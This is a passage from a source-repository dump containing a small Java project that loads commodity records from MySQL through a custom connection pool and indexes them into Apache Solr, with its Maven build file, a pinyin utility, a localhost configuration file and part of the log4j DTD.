    "content": "<?xml version=\"1.0\"?>\n<project xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\" xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_solr_index</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n  \n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t</properties>\n\t\n\t<dependencies>\n\t    <dependency>\n\t\t\t<groupId>org.apache.solr</groupId>\n\t\t\t<artifactId>solr-core</artifactId>\n\t\t\t<version>4.3.1</version>\n\t\t\t<exclusions>\n\t\t\t\t<exclusion>\n\t\t\t\t\t<groupId>commons-io</groupId>\n\t\t\t\t\t<artifactId>commons-io</artifactId>\n\t\t\t\t</exclusion>\n\t\t\t</exclusions>\n\t    </dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.belerweb</groupId>\n\t\t\t<artifactId>pinyin4j</artifactId>\n\t\t\t<version>2.5.1</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<version>5.1.24</version>\n\t\t</dependency>\n\t\t<!-- logging -->\n\t\t<dependency>\n\t\t\t<groupId>commons-logging</groupId>\n\t\t\t<artifactId>commons-logging</artifactId>\n\t\t\t<version>1.2</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>log4j</groupId>\n\t\t\t<artifactId>log4j</artifactId>\n\t\t\t<version>1.2.16</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-api</artifactId>\n\t\t\t<version>1.6.1</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-log4j12</artifactId>\n\t\t\t<version>1.6.1</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.twelvemonkeys.common</groupId>\n\t\t\t<artifactId>common-io</artifactId>\n\t\t\t<version>3.4.1</version>\n\t\t</dependency>\n\t</dependencies>\n</project>"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_index/src/main/java/com/jun/plugin/solr/CreateIndex.java",
    "content": "package com.jun.plugin.solr;\n\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map.Entry;\n\nimport org.apache.solr.client.solrj.SolrServerException;\nimport org.apache.solr.client.solrj.impl.HttpSolrServer;\nimport org.apache.solr.common.SolrInputDocument;\n\nimport com.jun.plugin.solr.db.CommodityDao;\nimport com.jun.plugin.solr.util.CommonUtil;\nimport com.jun.plugin.solr.util.SolrUtil;\n\npublic class CreateIndex {\n\n\tprivate CommodityDao commodityDao = new CommodityDao();\n\t\n\tprivate void run()\n\t{\n\t\tlong begin = System.currentTimeMillis();\n\t\t\n\t\tHttpSolrServer solrConn = SolrUtil.getSolrHttpConnect();\n\t\t\n\t\tHashMap<String,HashMap<String,String>> commodityMap = commodityDao.getCommodityList();\n\t\t\n\t\tList<SolrInputDocument> docList = new ArrayList<SolrInputDocument>();\n\t\tSolrInputDocument doc = null;\n\t\tint docNum = 0, commitNum=0;\n\t\t\n\t\tfor(Entry<String,HashMap<String,String>> commodityEntry : commodityMap.entrySet()) {\n\t\t\tdocNum++;\n\t\t\tdoc = new SolrInputDocument();\n\t\t\tHashMap<String,String> commodity = commodityEntry.getValue();\n\n\t\t\tdoc.addField(\"no\", commodity.get(\"no\"));\n\t\t\tdoc.addField(\"brand_id\", commodity.get(\"brand_id\"));\n\t\t\tdoc.addField(\"name\", commodity.get(\"name\"));\n\t\t\tdoc.addField(\"style_no\", commodity.get(\"style_no\"));\n\t\t\tdoc.addField(\"sale_price\", commodity.get(\"sale_price\"));\n\t\t\t\n\t\t\tdocList.add(doc);\n\t\t\t\n\t\t\t//10000个提交一次\n\t\t\tif(docNum%10000==0){\n\t\t\t\tcommitNum++;\n\t\t\t\tif(commitNum==1){\t\t\t\t\t\n\t\t\t\t\ttry {\n\t\t\t\t\t\tsolrConn.deleteByQuery(\"*:*\");\n\t\t\t\t\t} catch (Exception e) {\n\t\t\t\t\t\te.printStackTrace();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\ttry {\n\t\t\t\t\tsolrConn.add(docList);\n\t\t\t\t\tsolrConn.commit();\t\t\t\t\t\n\t\t\t\t} catch (Exception e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t\tdocList.clear();\n\t\t\t\tSystem.out.println(CommonUtil.getCurrentDatetime() + \"，Commit :\\t\"+commitNum);\n\t\t\t}\n\t\t}\n\t\t\n\t\tif(docList.size()>0){\n\t\t\tcommitNum++;\n\t\t\tif(commitNum==1){\t\t\t\t\t\n\t\t\t\ttry {\n\t\t\t\t\tsolrConn.deleteByQuery(\"*:*\");\n\t\t\t\t} catch (Exception e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t}\n\t\t\ttry {\n\t\t\t\tsolrConn.add(docList);\n\t\t\t\tsolrConn.commit();\n\t\t\t\tsolrConn.optimize();\n\t\t\t} catch (Exception e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t\tSystem.out.println(CommonUtil.getCurrentDatetime() + \"，last commit :\\t\"+commitNum);\n\t\t}else{\n\t\t\ttry {\n\t\t\t\tsolrConn.optimize();\n\t\t\t} catch (SolrServerException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t} catch (IOException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t\t\n\t\tlong end = System.currentTimeMillis();\n\t\tSystem.out.println(\"索引完毕,共耗时： \"+((double)(end-begin)/(1000))+\"秒。\");\n\t}\n\t\n\t\n\tpublic static void main(String[] args)\n\t{\n\t\tCreateIndex ci = new CreateIndex();\n\t\tci.run();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_index/src/main/java/com/jun/plugin/solr/db/CommodityDao.java",
    "content": "package com.jun.plugin.solr.db;\n\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.util.HashMap;\n\nimport com.jun.plugin.solr.util.DbUtil;\n\n\n\npublic class CommodityDao {\n\n\tprivate DbUtil dbUtil = DbUtil.getInstance();\n\tprivate String commodityPoolName = \"commodity\";\n\tprotected Connection conn;\n\t\n\tpublic HashMap<String,HashMap<String,String>> getCommodityList()\n\t{\n\t\tHashMap<String,HashMap<String,String>> commodityMap = new HashMap<String,HashMap<String,String>>();\n\t\tString strSql = \"select * from c_commodity\";\n\t\tString no = null;\n\t\tPreparedStatement ps = null;\n\t\tResultSet rs = null;\n\t\tHashMap<String,String> commodity = null;\n\t\ttry{\n\t\t\tconn = dbUtil.getConnection(commodityPoolName);\n\t\t\tps = conn.prepareStatement(strSql);\n\t\t\trs = ps.executeQuery();\n\t\t\t\n\t\t\twhile(rs.next()){\n\t\t\t\tno = rs.getString(\"no\");\n\t\t\t\tcommodity = new HashMap<String,String>();\n\t\t\t\tcommodity.put(\"no\", rs.getString(\"no\"));\n\t\t\t\tcommodity.put(\"brand_id\", Integer.toString(rs.getInt(\"brand_id\")));\n\t\t\t\tcommodity.put(\"name\", rs.getString(\"name\"));\n\t\t\t\tcommodity.put(\"style_no\", rs.getString(\"style_no\"));\n\t\t\t\tcommodity.put(\"sale_price\", Integer.toString(rs.getInt(\"sale_price\")));\n\t\t\t\tcommodityMap.put(no, commodity);\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\tthis.closeConnection(rs, ps, conn);\n\t\t\n\t\treturn commodityMap;\n\t}\n\t\n\tprivate void closeConnection(ResultSet rs,PreparedStatement ps,Connection conn)\n\t{\n\t\ttry {\n\t\t\tif (rs != null) {\n\t\t\t\trs.close();\n\t\t\t\trs = null;\n\t\t\t}\n\t\t\tif (ps != null) {\n\t\t\t\tps.close();\n\t\t\t\tps = null;\n\t\t\t}\n\t\t\tdbUtil.freeConnection(commodityPoolName, conn);\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_index/src/main/java/com/jun/plugin/solr/util/CommonUtil.java",
    "content": "package com.jun.plugin.solr.util;\n\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\n\npublic class CommonUtil {\n\n\tpublic static String getCurrentDatetime()\n\t{\n\t\tSimpleDateFormat sdf = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\n\t\treturn sdf.format(new Date());\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_index/src/main/java/com/jun/plugin/solr/util/DbUtil.java",
    "content": "package com.jun.plugin.solr.util;\n\nimport java.sql.Connection;\nimport java.sql.Driver;\nimport java.sql.DriverManager;\nimport java.sql.SQLException;\nimport java.util.Enumeration;\nimport java.util.Hashtable;\nimport java.util.Properties;\nimport java.util.StringTokenizer;\nimport java.util.Vector;\n\n\n/**\n * 数据库连接池\n * 这个类实现的是对多个数据源的连接池，用Vector存储\n * 在Spring引入之前，这是最常用的数据库连接池实现办法\n */\npublic class DbUtil {\n\t\n\tprivate static DbUtil instance; // 唯一实例\n\tprivate static int clients; // 连接的客户端\n\tprivate Vector<Driver> drivers = new Vector<Driver>();// 驱动集合\n\tprivate Hashtable<String,DBPool> pools = new Hashtable<String,DBPool>();// 数据库连接池\n\tprivate Properties dbProps;\n\t\n\t/**\n\t * 单例模式\n\t */\n\tprivate DbUtil() {\n\t\tthis.init();\n\t}\n\n\t/**\n\t * 采用单例模式，返回唯一实例，第一次调用时创建\n\t * \n\t * @return DBConnectionManager 唯一实例\n\t */\n\tpublic static synchronized DbUtil getInstance() {\n\t\tif (instance == null) {\n\t\t\tinstance = new DbUtil();\n\t\t}\n\t\tclients++;\n\t\treturn instance;\n\t}\n\n\tpublic int getClientNum(){\n\t\treturn clients;\n\t}\n\t\n\t/**\n\t * 获得可用的空闲连接.如果没有可用连接,且已有连接数小于最大连接数限制,则创建并返回新连接\n\t * \n\t * @param name: 在属性文件中定义的连接池名字\n\t * @return Connection 可用连接或null\n\t */\n\tpublic Connection getConnection(String name) {\n\t\tDBPool dbPool = pools.get(name);\n\t\tif (dbPool != null) {\n\t\t\treturn dbPool.getConnection();\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 获得可用连接.若没有可用连接,且已有连接数小于最大连接数限制, 则创建并返回新连接. 否则,在指定的时间内等待其它线程释放连接.\n\t * \n\t * @param name: 连接池名?\n\t * @param time: 以毫秒计的等待时间\n\t * @return Connection 可用连接或null\n\t */\n\tpublic Connection getConnection(String name, long time) {\n\t\tDBPool dbPool = pools.get(name);\n\t\tif (dbPool != null) {\n\t\t\treturn dbPool.getConnection(time);\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 将连接对象返回给由名字指定的连接池\n\t * \n\t * @param name: 在属性文件中定义的连接池名字\n\t * @param con: 连接对象\n\t */\n\tpublic void freeConnection(String name, Connection con) {\n\t\tDBPool dbPool = pools.get(name);\n\t\tif (dbPool != null) {\n\t\t\tdbPool.freeConnection(con);\n\t\t}\n\t}\n\n\t/**\n\t * 关闭所有连接,撤销驱动程序的注册\n\t */\n\tpublic synchronized void release() {\n\t\t// 等待直到最后一个客户程序调用结束\n\t\tif (--clients != 0) {\n\t\t\treturn;\n\t\t}\n\t\tEnumeration<DBPool> allPools = pools.elements();\n\t\tDBPool pool = null;\n\t\twhile (allPools.hasMoreElements()) {\n\t\t\tpool = allPools.nextElement();\n\t\t\tpool.release();\n\t\t}\n\t\tEnumeration<Driver> allDrivers = drivers.elements();\n\t\twhile (allDrivers.hasMoreElements()) {\n\t\t\tDriver driver = allDrivers.nextElement();\n\t\t\ttry {\n\t\t\t\tDriverManager.deregisterDriver(driver);\n\t\t\t\tSystem.out.println(\"撤销JDBC驱动程序 \" + driver.getClass().getName() + \"的注册\");\n\t\t\t} catch (SQLException e) {\n\t\t\t\tSystem.out.println(\"无法撤销下列JDBC驱动程序的注册: \" + driver.getClass().getName());\n\t\t\t}\n\t\t}\n\t}\n\t\n\t/**\n\t * 读取属性完成初始化\n\t */\n\tprivate void init() {\t\n\t\tdbProps = PropertyFile.getProps();\t\n\t\t// 加载驱动\n\t\tloadDrivers(dbProps);\n\t\t// 创建数据连接池\n\t\tcreatePools(dbProps);\n\t}\n\n\t/**\n\t * 装载和注册所有JDBC驱动程序\n\t * \n\t * @param props 属性\n\t */\n\tprivate void loadDrivers(Properties props) {\n\t\tString driverClasses = props.getProperty(\"drivers\");\n\t\tStringTokenizer st = new StringTokenizer(driverClasses);\n\t\twhile (st.hasMoreElements()) {\n\t\t\tString driverClassName = st.nextToken().trim();\n\t\t\ttry {\n\t\t\t\tDriver driver = (Driver)Class.forName(driverClassName).newInstance();\n\t\t\t\tDriverManager.registerDriver(driver);\n\t\t\t\tdrivers.addElement(driver);\n\t\t\t\tSystem.out.println(\"成功注册JDBC驱动程序:\t\" + driverClassName);\n\t\t\t} catch (Exception e) {\n\t\t\t\tSystem.out.println(\"无法注册JDBC驱动程序: \" + driverClassName + \", 错误: \" + e);\n\t\t\t}\n\t\t}\n\t}\n\n\t/**\n\t * 根据指定属性创建连接池实例\n\t * \n\t * @param props: 连接池属性\n\t */\n\tprivate void createPools(Properties props) {\n\t\tEnumeration<?> propNames = props.propertyNames();\n\t\tString name = null, url=null,user=null,password=null, maxconn=null;\n\t\tString poolName = null;\n\t\twhile (propNames.hasMoreElements()) {\n\t\t\tname = (String) propNames.nextElement();\n\t\t\tif (name.endsWith(\".url\")) {\n\t\t\t\tpoolName = name.substring(0, name.lastIndexOf(\".\"));\n\t\t\t\tSystem.out.println(\"数据库连接池: \" + poolName + \" 启动\");\n\t\t\t\turl = props.getProperty(poolName + \".url\");\n\t\t\t\tif (url == null) {\n\t\t\t\t\tSystem.out.println(\"没有为连接池\" + poolName + \"指定数据库访问地址\");\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tuser = props.getProperty(poolName + \".user\");\n\t\t\t\tpassword = props.getProperty(poolName + \".password\");\n\t\t\t\tmaxconn = props.getProperty(poolName + \".maxconn\", \"100\");\n\t\t\t\tint max=0;\n\t\t\t\ttry {\n\t\t\t\t\tmax = Integer.valueOf(maxconn).intValue();\n\t\t\t\t} catch (NumberFormatException e) {\n\t\t\t\t\tSystem.err.println(e.getMessage());\n\t\t\t\t\tSystem.out.println(\"错误的最大连接数限制: \" + maxconn + \" .连接池名: \" + poolName);\n\t\t\t\t\tmax = 0;\n\t\t\t\t}\t\t\t\t\n\t\t\t\tDBPool pool = new DBPool(poolName, url, user, password, max);\t\t\t\t\n\t\t\t\tpools.put(poolName, pool);\n\t\t\t\tSystem.out.println(\"数据库连接池: \" + poolName + \" 创建完毕!\");\n\t\t\t}\n\t\t}\n\t}\n\t\n\t\n\t/**\n\t * \n\t * 数据库连接池内部类， 此内部类定义了一个连接池.它能够根据要求创建新连接,直到预定的最大连接数为止.\n\t * 在返回连接给客户程序之前,它能够验证连接的有效性\n\t * \n\t */\n\tclass DBPool {\n\n\t\tprivate String poolName; // 连接池名称\n\t\tprivate String dbConnUrl; // 数据库的JDBC URL\n\t\tprivate String dbUserName; // 数据库账号或null\n\t\tprivate String dbPassWord; // 数据库账号密码或null\n\t\tprivate int maxConn; // 此连接池允许建立的最大连接数\n\t\tprivate int checkedOut; // 当前连接数\n\t\tprivate Vector<Connection> freeConnections; // 保存的可用链接\n\n\t\tpublic DBPool(){}\n\t\t/**\n\t\t * 创建新的连接池构造函数\n\t\t * \n\t\t * @param poolName: 连接池名称\n\t\t * @param dbConnUrl: 数据库的JDBC URL\n\t\t * @param dbUserName: 数据库用户名\n\t\t * @param dbPassWord: 数据库密码\n\t\t * @param maxConn: 此连接池允许建立的最大连接数\n\t\t */\n\t\tpublic DBPool(String poolName, String dbConnUrl, String dbUserName, String dbPassWord, int maxConn) {\n\t\t\tthis.poolName = poolName;\n\t\t\tthis.dbConnUrl = dbConnUrl;\n\t\t\tthis.dbUserName = dbUserName;\n\t\t\tthis.dbPassWord = dbPassWord;\n\t\t\tthis.maxConn = maxConn;\n\t\t\tthis.freeConnections = new Vector<Connection>();\n\t\t}\n\n\t\t/**\n\t\t * 从连接池获得可用连接,如果没有空闲的连接且当前连接数小于最大连接数限制,则创建新连接.\n\t\t * 如原来登记为可用的连接不再有用,则从向量删除，然后递归调用自己以尝试新的可用连接.\n\t\t */\n\t\t@SuppressWarnings(\"resource\")\n\t\tpublic synchronized Connection getConnection() {\n\t\t\tConnection conn = null;// 定义连接标量\n\t\t\t\n\t\t\tif (freeConnections.size()>0) {\n\t\t\t\t// 获取向量中第个可用连接\n\t\t\t\tconn = freeConnections.firstElement();\n\t\t\t\tfreeConnections.removeElementAt(0);\n\t\t\t\ttry {\n\t\t\t\t\tif (conn.isClosed()) {\n\t\t\t\t\t\t// 递归调用自己,尝试再次获取可用连接\n\t\t\t\t\t\tconn = getConnection();\n\t\t\t\t\t}\n\t\t\t\t} catch (SQLException e) {\n\t\t\t\t\t// 递归调用自己,尝试再次获取可用连接\n\t\t\t\t\tconn = getConnection();\n\t\t\t\t}\n\t\t\t} \n\t\t\telse if (maxConn == 0 || checkedOut < maxConn) {\n\t\t\t\tconn = newConnection();\n\t\t\t}\n\t\t\tif (conn != null) {\n\t\t\t\tcheckedOut++;\n\t\t\t}\n\t\t\treturn conn;\n\t\t}\n\n\t\t/**\n\t\t * 从连接池获取可用连接.可以指定客户程序能够等待的最长时间\n\t\t * \n\t\t * @param timeout: 以毫秒计的等待时间限制\n\t\t */\n\t\tpublic synchronized Connection getConnection(long timeout) {\n\t\t\tlong startTime = System.currentTimeMillis();\n\t\t\tConnection conn = null;// 定义连接标量\n\t\t\twhile ((conn = getConnection()) == null) {\n\t\t\t\ttry {\n\t\t\t\t\twait(timeout);\n\t\t\t\t} catch (InterruptedException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t\tif ((System.currentTimeMillis() - startTime) >= timeout) {\n\t\t\t\t\t// wait()返回的原因是超时\n\t\t\t\t\treturn null;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn conn;\n\t\t}\n\n\t\t/**\n\t\t * 创建新的连接\n\t\t * \n\t\t * @return 返回数据库链接\n\t\t */\n\t\tprivate Connection newConnection() {\n\t\t\tConnection conn = null;// 定义连接标量\n\t\t\ttry {\n\t\t\t\tif (dbUserName == null) {\n\t\t\t\t\tconn = DriverManager.getConnection(dbConnUrl);\n\t\t\t\t} else {\n\t\t\t\t\tconn = DriverManager.getConnection(dbConnUrl, dbUserName,\n\t\t\t\t\t\t\tdbPassWord);\n\t\t\t\t}\n\t\t\t\tSystem.out.println(\"数据库连接池: \" + poolName + \" 创建新的连接\");\n\t\t\t} catch (SQLException e) {\n\t\t\t\tSystem.out.println(\"无法创建下列URL的连接: \" + dbConnUrl);\n\t\t\t\treturn null;\n\t\t\t}\n\t\t\treturn conn;\n\t\t}\n\n\t\t/**\n\t\t * 将不再使用的连接返回给连接池\n\t\t * \n\t\t * @param con: 客户程序释放的连接\n\t\t */\n\t\tpublic synchronized void freeConnection(Connection conn) {\n\t\t\t// 将指定连接加入到向量末尾\n\t\t\tfreeConnections.addElement(conn);\n\t\t\tcheckedOut--;\n\t\t\tnotifyAll(); // 删除等待队列中的连接 数据库连接请求\n\t\t}\n\n\t\t/**\n\t\t * 关闭连接\n\t\t */\n\t\tpublic synchronized void release() {\n\t\t\tEnumeration<Connection> allConnections = freeConnections.elements();\n\t\t\twhile (allConnections.hasMoreElements()) {\n\t\t\t\tConnection con = allConnections.nextElement();\n\t\t\t\ttry {\n\t\t\t\t\tcon.close();\n\t\t\t\t\tSystem.out.println(\"关闭连接池\" + poolName + \"中的个连接\");\n\t\t\t\t} catch (SQLException e) {\n\t\t\t\t\tSystem.out.println(\"无法关闭连接池\" + poolName + \"中的连接\");\n\t\t\t\t}\n\t\t\t}\n\t\t\tfreeConnections.removeAllElements();\n\t\t}\t\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_index/src/main/java/com/jun/plugin/solr/util/PinyinUtil.java",
    "content": "package com.jun.plugin.solr.util;\n\nimport net.sourceforge.pinyin4j.PinyinHelper;\nimport net.sourceforge.pinyin4j.format.HanyuPinyinCaseType;\nimport net.sourceforge.pinyin4j.format.HanyuPinyinOutputFormat;\nimport net.sourceforge.pinyin4j.format.HanyuPinyinToneType;\nimport net.sourceforge.pinyin4j.format.HanyuPinyinVCharType;\nimport net.sourceforge.pinyin4j.format.exception.BadHanyuPinyinOutputFormatCombination;\n\npublic class PinyinUtil {\n\t\n\tprivate static HanyuPinyinOutputFormat hypof;\n\n\tstatic {\n\t\thypof = new HanyuPinyinOutputFormat();\n\t\thypof.setCaseType(HanyuPinyinCaseType.LOWERCASE);\n\t\thypof.setToneType(HanyuPinyinToneType.WITHOUT_TONE);\n\t\thypof.setVCharType(HanyuPinyinVCharType.WITH_V);\n\t}\n\t\n\tpublic static String getPingYin(String src) {\n\t\tchar[] t1 = src.toCharArray();\n\t\tString[] t2 = new String[t1.length];\n\t\tString t4 = \"\";\n\t\tint t0 = t1.length;\n\t\ttry {\n\t\t\tfor (int i = 0; i < t0; i++) {\n\t\t\t\t// 判断是否为汉字字符\n\t\t\t\tif (Character.toString(t1[i]).matches(\"[\\\\u4E00-\\\\u9FA5]+\")) {\n\t\t\t\t\tt2 = PinyinHelper.toHanyuPinyinStringArray(t1[i],\n\t\t\t\t\t\t\thypof);\n\t\t\t\t\tif(t2!=null){\n\t\t\t\t\t\tt4 += t2[0];\n\t\t\t\t\t}\n\t\t\t\t} else\n\t\t\t\t\tt4 += Character.toString(t1[i]);\n\t\t\t}\n\t\t\tt1 = null;\n\t\t\tt2 = null;\n\t\t} catch (BadHanyuPinyinOutputFormatCombination e1) {\n\t\t\te1.printStackTrace();\n\t\t}\n\t\treturn t4;\n\t}\n\n\tpublic static String getPinYinHeadChar(String str) {\n\t\tString convert = \"\";\n\t\tchar word;\n\t\tString[] pinyinArray = null;\n\t\tfor (int j = 0; j < str.length(); j++) {\n\t\t\tword = str.charAt(j);\n\t\t\tpinyinArray = PinyinHelper.toHanyuPinyinStringArray(word);\n\t\t\tif (pinyinArray != null) {\n\t\t\t\tconvert += pinyinArray[0].charAt(0);\n\t\t\t} else {\n\t\t\t\tconvert += word;\n\t\t\t}\n\t\t}\n\t\treturn convert;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_index/src/main/java/com/jun/plugin/solr/util/PropertyFile.java",
    "content": "package com.jun.plugin.solr.util;\n\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.util.Properties;\n\npublic class PropertyFile {\n\tprivate static Properties configProp;\n\t\n\tprivate static synchronized void init_prop(){\n\t\tconfigProp = new Properties();\t\n\t\tString path = PropertyFile.class.getClassLoader().getResource(\"\").getPath();\n\t\tpath = path.replaceAll(\"%20\", \" \");\n\t\tInputStream fileinputstream = null;\n\t\ttry {\n\t\t\tfileinputstream = new FileInputStream(path+\"config.properties\");\n\t\t} catch (FileNotFoundException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\ttry {\n\t\t\tconfigProp.load(fileinputstream);\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t\tSystem.err.println(\"不能读取配置文件, 请确保config.properties在CLASSPATH指定的路径中!\");\n\t\t}\n\t}\n\t\n\tpublic static Properties getProps(){\n\t\tif(configProp==null)\n\t\t\tinit_prop();\n\t\treturn configProp;\n\t}\n\t\n\tpublic static void main(String[] args) {\n\t\tSystem.out.println(PropertyFile.getProps().getProperty(\"solr_url\"));\n\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_index/src/main/java/com/jun/plugin/solr/util/SolrUtil.java",
    "content": "package com.jun.plugin.solr.util;\n\nimport org.apache.solr.client.solrj.impl.BinaryRequestWriter;\nimport org.apache.solr.client.solrj.impl.HttpSolrServer;\n\n\npublic class SolrUtil {\n\n\tprivate static String solrUrl = PropertyFile.getProps().getProperty(\"solrUrl\");\n\t\n\tpublic static HttpSolrServer getSolrHttpConnect() {\n\t\t\n\t\tHttpSolrServer ss = new HttpSolrServer(solrUrl);\n\t\tss.setSoTimeout(500000);\n\t\tss.setConnectionTimeout(500000);\n\t\tss.setDefaultMaxConnectionsPerHost(1000);\n\t\tss.setMaxTotalConnections(1000);\n\t\tss.setFollowRedirects(false);\n\t\tss.setAllowCompression(true);\n\t\tss.setRequestWriter(new BinaryRequestWriter());\n\t\tss.setMaxRetries(5);\n\t\treturn ss;\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_index/src/main/resources/config.properties",
    "content": "drivers = org.gjt.mm.mysql.Driver\n\ncommodity.url = jdbc:mysql://127.0.0.1:3306/test?useUnicode=true&characterEncoding=utf8\ncommodity.user = root\ncommodity.password = \ngoods.maxconn = 300\n\nsolrUrl = http://127.0.0.1:8080/solr/c"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_index/src/main/resources/log4j.dtd",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<!--\n Licensed to the Apache Software Foundation (ASF) under one or more\n contributor license agreements.  See the NOTICE file distributed with\n this work for additional information regarding copyright ownership.\n The ASF licenses this file to You under the Apache License, Version 2.0\n (the \"License\"); you may not use this file except in compliance with\n the License.  You may obtain a copy of the License at\n\n      http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n-->\n\n<!-- Authors: Chris Taylor, Ceki Gulcu. -->\n\n<!-- Version: 1.2 -->\n\n<!-- A configuration element consists of optional renderer\nelements,appender elements, categories and an optional root\nelement. -->\n\n<!ELEMENT log4j:configuration (renderer*, throwableRenderer?,\n                               appender*,plugin*, (category|logger)*,root?,\n                               (categoryFactory|loggerFactory)?)>\n\n<!-- The \"threshold\" attribute takes a level value below which -->\n<!-- all logging statements are disabled. -->\n\n<!-- Setting the \"debug\" enable the printing of internal log4j logging   -->\n<!-- statements.                                                         -->\n\n<!-- By default, debug attribute is \"null\", meaning that we not do touch -->\n<!-- internal log4j logging settings. The \"null\" value for the threshold -->\n<!-- attribute can be misleading. The threshold field of a repository\t -->\n<!-- cannot be set to null. The \"null\" value for the threshold attribute -->\n<!-- simply means don't touch the threshold field, the threshold field   --> \n<!-- keeps its old value.                                                -->\n     \n<!ATTLIST log4j:configuration\n  xmlns:log4j              CDATA #FIXED \"http://jakarta.apache.org/log4j/\" \n  threshold                (all|trace|debug|info|warn|error|fatal|off|null) \"null\"\n  debug                    (true|false|null)  \"null\"\n  reset                    (true|false) \"false\"\n>\n\n<!-- renderer elements allow the user to customize the conversion of  -->\n<!-- message objects to String.                                       -->\n\n<!ELEMENT renderer EMPTY>\n<!ATTLIST renderer\n  renderedClass  CDATA #REQUIRED\n  renderingClass CDATA #REQUIRED\n>\n\n<!--  throwableRenderer allows the user to customize the conversion\n         of exceptions to a string representation.  -->\n<!ELEMENT throwableRenderer (param*)>\n<!ATTLIST throwableRenderer\n  class  CDATA #REQUIRED\n>\n\n\n<!-- Appenders must have a name and a class. -->\n<!-- Appenders may contain an error handler, a layout, optional parameters -->\n<!-- and filters. They may also reference (or include) other appenders. -->\n<!ELEMENT appender (errorHandler?, param*,\n      rollingPolicy?, triggeringPolicy?, connectionSource?,\n      layout?, filter*, appender-ref*)>\n<!ATTLIST appender\n  name \t\tCDATA \t#REQUIRED\n  class \tCDATA\t#REQUIRED\n>\n\n<!ELEMENT layout (param*)>\n<!ATTLIST layout\n  class\t\tCDATA\t#REQUIRED\n>\n\n<!ELEMENT filter (param*)>\n<!ATTLIST filter\n  class\t\tCDATA\t#REQUIRED\n>\n\n<!-- ErrorHandlers can be of any class. They can admit any number of -->\n<!-- parameters. -->\n\n<!ELEMENT errorHandler (param*, root-ref?, logger-ref*,  appender-ref?)> \n<!ATTLIST errorHandler\n   class        CDATA   #REQUIRED \n>\n\n<!ELEMENT root-ref EMPTY>\n\n<!ELEMENT logger-ref EMPTY>\n<!ATTLIST logger-ref\n  ref CDATA #REQUIRED\n>\n\n<!ELEMENT param EMPTY>\n<!ATTLIST param\n  name\t\tCDATA   #REQUIRED\n  value\t\tCDATA\t#REQUIRED\n>\n\n\n<!-- The priority class is org.apache.log4j.Level by default -->\n<!ELEMENT priority (param*)>\n<!ATTLIST priority\n  class   CDATA\t#IMPLIED\n  value\t  CDATA #REQUIRED\n>\n\n<!-- The level class is org.apache.log4j.Level by default -->\n<!ELEMENT level (param*)>\n<!ATTLIST level\n  class   CDATA\t#IMPLIED\n  value\t  CDATA #REQUIRED\n>\n\n\n<!-- If no level element is specified, then the configurator MUST not -->\n<!-- touch the level of the named category. -->\n<!ELEMENT category (param*,(priority|level)?,appender-ref*)>\n<!ATTLIST category\n  class         CDATA   #IMPLIED\n  name\t\tCDATA\t#REQUIRED\n  additivity\t(true|false) \"true\"  \n>\n\n<!-- If no level element is specified, then the configurator MUST not 